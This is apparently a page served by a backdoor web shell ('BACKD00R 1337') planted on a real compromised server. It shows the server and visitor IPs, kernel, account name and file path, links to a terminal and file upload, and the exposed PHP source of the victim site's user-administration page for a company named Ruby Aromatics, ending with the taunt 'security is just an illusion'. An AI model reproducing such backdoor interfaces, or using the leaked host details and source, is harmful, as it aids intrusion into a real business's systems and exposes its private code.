BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.231
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/public_html/controller/pro/../

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/public_html/controller/pro/../add_user.php
<?php
require('function.php');
require('database.php');
$ob = new database();
login_check();

if(isset($_POST['submit']))
	{
require('functions.php');
$ob = new database();
$obj = new dwr;
	
$username           = "";
$password           = "";
$c_name             = $obj->validate($_POST['c_name']);
$u_name             = $obj->validate($_POST['u_name']);
$email              = $obj->validate($_POST['email']);
$c_no               = $obj->validate($_POST['c_no']);
$address            = $obj->validate($_POST['address']);
$countary           = $obj->validate($_POST['countary']);
$city               = $obj->validate($_POST['city']);

$status             ='No';
$c_date             = date("Y-m-d");
$u_date             = "";

$email  =  mysql_real_escape_string($_POST['email']);
$check =  mysql_query("SELECT  `email` FROM `add_user` WHERE  `email`='$email' "); 
if(mysql_num_rows($check)>0)
{
        
echo '<div class="alert alert-block alert-danger fade in">
                               <button data-dismiss="alert" class="close close-sm" type="button">
                                   <i class="fa fa-times"></i>
                               </button>
                                <strong>Oooops!</strong> This Email is alreday exist in database.
                           </div>';
 }
 else
{
$f = array('c_name','u_name', 'email','c_no','address','countary','city','c_date','u_date','status');
$v = array($c_name,$u_name,$email,$c_no,$address,$countary,$city,$c_date,$u_date,$status);

$obj->insert('add_user',$f,$v);
$iid = mysql_insert_id();

		if (!empty($iid))
		{
			echo '<div class="alert alert-dismissable alert-success">
						<i class="ti ti-check"></i>&nbsp; <strong>Well done!</strong> You Add successfully .
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>';
					echo '<script>window.parent.location.href="view_user.php"; </script>';
			}
		else {
 			echo '<div class="alert alert-dismissable alert-danger">
				  <i class="ti ti-close"></i>&nbsp; <strong>Oh snap!</strong> Change a few things up and try submitting again.
						<button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
					</div>.';
 			}
         }
	  }
	
?>
<!DOCTYPE html>
<html>
<head> 
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta charset="utf-8" />
<title>Ruby Aromatics</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta content="" name="description" />
<meta content="" name="author" />

<!-- BEGIN PLUGIN CSS -->
<link href="assets/plugins/pace/pace-theme-flash.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/bootstrap-tag/bootstrap-tagsinput.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/dropzone/css/dropzone.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/bootstrap-wysihtml5/bootstrap-wysihtml5.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/bootstrap-datepicker/css/datepicker.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/bootstrap-timepicker/css/bootstrap-timepicker.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.css" rel="stylesheet" type="text/css" />
<link href="assets/plugins/ios-switch/ios7-switch.css" rel="stylesheet" type="text/css" media="screen">
<link href="assets/plugins/bootstrap-select2/select2.css" rel="stylesheet" type="text/css" media="screen"/>
<link href="assets/plugins/jquery-slider/css/jquery.sidr.light.css" rel="stylesheet" type="text/css" media="screen"/>
<!-- END PLUGIN CSS -->

<!-- BEGIN CORE CSS FRAMEWORK -->
<link href="assets/plugins/boostrapv3/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/boostrapv3/css/bootstrap-theme.min.css" rel="stylesheet" type="text/css"/>
<link href="assets/plugins/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/animate.min.css" rel="stylesheet" type="text/css"/>
<!-- END CORE CSS FRAMEWORK -->

<!-- BEGIN CSS TEMPLATE -->
<link href="assets/css/style.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/responsive.css" rel="stylesheet" type="text/css"/>
<link href="assets/css/custom-icon-set.css" rel="stylesheet" type="text/css"/>
<!-- END CSS TEMPLATE -->

<link href="assets/plugins/boostrap-slider/css/slider.css" rel="stylesheet" type="text/css"/>
</head>
<!-- END HEAD -->

<!-- BEGIN BODY -->
<body class="">
<!-- BEGIN HEADER -->
<?php top() ?>

<!-- END HEADER --> 
<!-- BEGIN CONTAINER -->
<div class="page-container row"> 
  <!-- BEGIN SIDEBAR -->
  <?php menu() ?>
  <div class="footer-widget">		
	<div class="progress transparent progress-small no-radius no-margin">
		<div class="progress-bar progress-bar-success animate-progress-bar" data-percentage="79%" style="width: 79%;"></div>		
	</div>
	<div class="pull-right">
		<div class="details-status">
		<span class="animate-number" data-value="86" data-animation-duration="560">86</span>%
	</div>	
	<a href="lockscreen.html"><i class="fa fa-power-off"></i></a></div>
  </div>
  <!-- END SIDEBAR --> 
  <!-- BEGIN PAGE CONTAINER-->
  <div class="page-content">
    <!-- BEGIN SAMPLE PORTLET CONFIGURATION MODAL FORM-->
    <div id="portlet-config" class="modal hide">
      <div class="modal-header">
        <button data-dismiss="modal" class="close" type="button"></button>
        <h3>Widget Settings</h3>
      </div>
      <div class="modal-body"> Widget settings form goes here </div>
    </div>
    <div class="clearfix"></div>
    <div class="content">
      <ul class="breadcrumb">
        <li>
          <p>YOU ARE HERE</p>
        </li>
         <li><a href="dash.php" class="active">Dashboard</a> </li>
        <li><a href="#" class="active"> Master</a> </li>
		<li><a href="#" class="active">Add User</a> </li>
      </ul>
      <a href="view_user.php"><button type="button" class="btn btn-info btn-cons"><i class="fa fa-reply"></i>&nbsp;&nbsp;&nbsp;View User</button></a>
      <div class="page-title"> <i class="icon-custom-left"></i>
        <h3>ADD - <span class="semi-bold">User</span></h3>
      </div>
      
       
	  <!-- BEGIN BASIC FORM ELEMENTS-->
        <div class="row">
            <div class="col-md-12">
              <div class="grid simple">
                <div class="grid-title no-border">
                 <div class="grid-body no-border"> <br>
                  <div class="row">
                    <div class="col-md-8 col-sm-8 col-xs-8">
                    <?php //add_user() ?>
                     <?php $p_id=$_GET['p_id'];?>
                     
					<form role="form"  method="post" action="<?php $_SERVER['PHP_SELF'] ?>">
                   
                      <div class="form-group">
                        <label class="form-label">Company Name</label>
                      
                        <div class="controls">
                          <input type="text" name="c_name" id="c_name"  placeholder="Company Name" class="form-control" required>
                        </div>
                      </div>
					   <div class="form-group">
                        <label class="form-label">Your Name</label>
                      
                        <div class="controls">
                          <input type="text" name="u_name" id="u_name"  placeholder="Your Name" class="form-control" required>
                        </div>
                      </div>
                      <div class="form-group">
                        <label class="form-label">Email</label>
                      
                        <div class="controls">
                          <input type="email" name="email" id="email"  placeholder="Email" class="form-control" required>
                        </div>
                      </div>
                      <div class="form-group">
                        <label class="form-label">Contact No</label>
                      
                        <div class="controls">
                          <input type="text" name="c_no" id="c_no"  placeholder="Contact No" class="form-control" required>
                        </div>
                      </div>
                      <div class="form-group">
                        <label class="form-label">Address</label>
                      
                        <div class="controls">
                          <input type="text" name="address" id="address"  placeholder="Address" class="form-control" required>
                        </div>
                      </div> 
                      <div class="form-group">
                        <label class="form-label">Countary</label>
                     
                        <div class="controls">
                       <select name="countary" class="form-control" >
                      <option selected="selected">--Select countary--</option>
                               <option value="India">India</option>
                                <option value="Pakistan">Pakistan</option>
                            </select>
                          </div></div>
                      <div class="form-group">
                        <label class="form-label">City</label>
                      
                        <div class="controls">
                          <input type="text" name="city" id="city"  placeholder="City" class="form-control" required>
                        </div>
                      </div>
                      
                      <div class="pull-right">
					  <button type="submit" name="submit" class="btn btn-success btn-cons"><i class="icon-ok"></i> Save</button>
					  <button type="reset" class="btn btn-white btn-cons">Cancel</button>
					</div>
                     </form>
					
                    </div>
                  </div>
                </div>
              </div>
            </div>
          </div>
    </div>
  </div>
</div>
<!-- BEGIN CHAT --> 
<!-- END CHAT --> 
<!-- END CONTAINER -->
<!-- BEGIN FOOTER -->
<!-- END FOOTER -->
<!-- BEGIN CORE JS FRAMEWORK-->
<script src="assets/plugins/jquery-1.8.3.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-ui/jquery-ui-1.10.1.custom.min.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
<script src="assets/plugins/breakpoints.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-unveil/jquery.unveil.min.js" type="text/javascript"></script>

<!-- END CORE JS FRAMEWORK -->
<script src="assets/plugins/jquery-slimscroll/jquery.slimscroll.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-slider/jquery.sidr.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-numberAnimate/jquery.animateNumbers.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-slimscroll/jquery.slimscroll.min.js" type="text/javascript"></script> 
<!-- END CORE PLUGINS -->
<!-- BEGIN PAGE LEVEL PLUGINS -->
<script src="assets/plugins/pace/pace.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-block-ui/jqueryblockui.js" type="text/javascript"></script> 
<script src="assets/plugins/bootstrap-datepicker/js/bootstrap-datepicker.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-timepicker/js/bootstrap-timepicker.min.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-inputmask/jquery.inputmask.min.js" type="text/javascript"></script>
<script src="assets/plugins/jquery-autonumeric/autoNumeric.js" type="text/javascript"></script>
<script src="assets/plugins/ios-switch/ios7-switch.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-select2/select2.min.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-wysihtml5/wysihtml5-0.3.0.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-wysihtml5/bootstrap-wysihtml5.js" type="text/javascript"></script>
<script src="assets/plugins/bootstrap-tag/bootstrap-tagsinput.min.js" type="text/javascript"></script>
<script src="assets/plugins/dropzone/dropzone.min.js" type="text/javascript"></script>
<!-- END PAGE LEVEL PLUGINS -->
<script src="assets/js/form_elements.js" type="text/javascript"></script>
<!-- BEGIN PAGE LEVEL SCRIPTS -->
<script src="assets/js/core.js" type="text/javascript"></script>
<script src="assets/js/chat.js" type="text/javascript"></script> 
<script src="assets/js/demo.js" type="text/javascript"></script>

    
<script src="js/jquery_append.js"></script>

    
<!-- END PAGE LEVEL SCRIPTS -->
<!-- END JAVASCRIPTS -->
</body>
</html>

security is just an illusion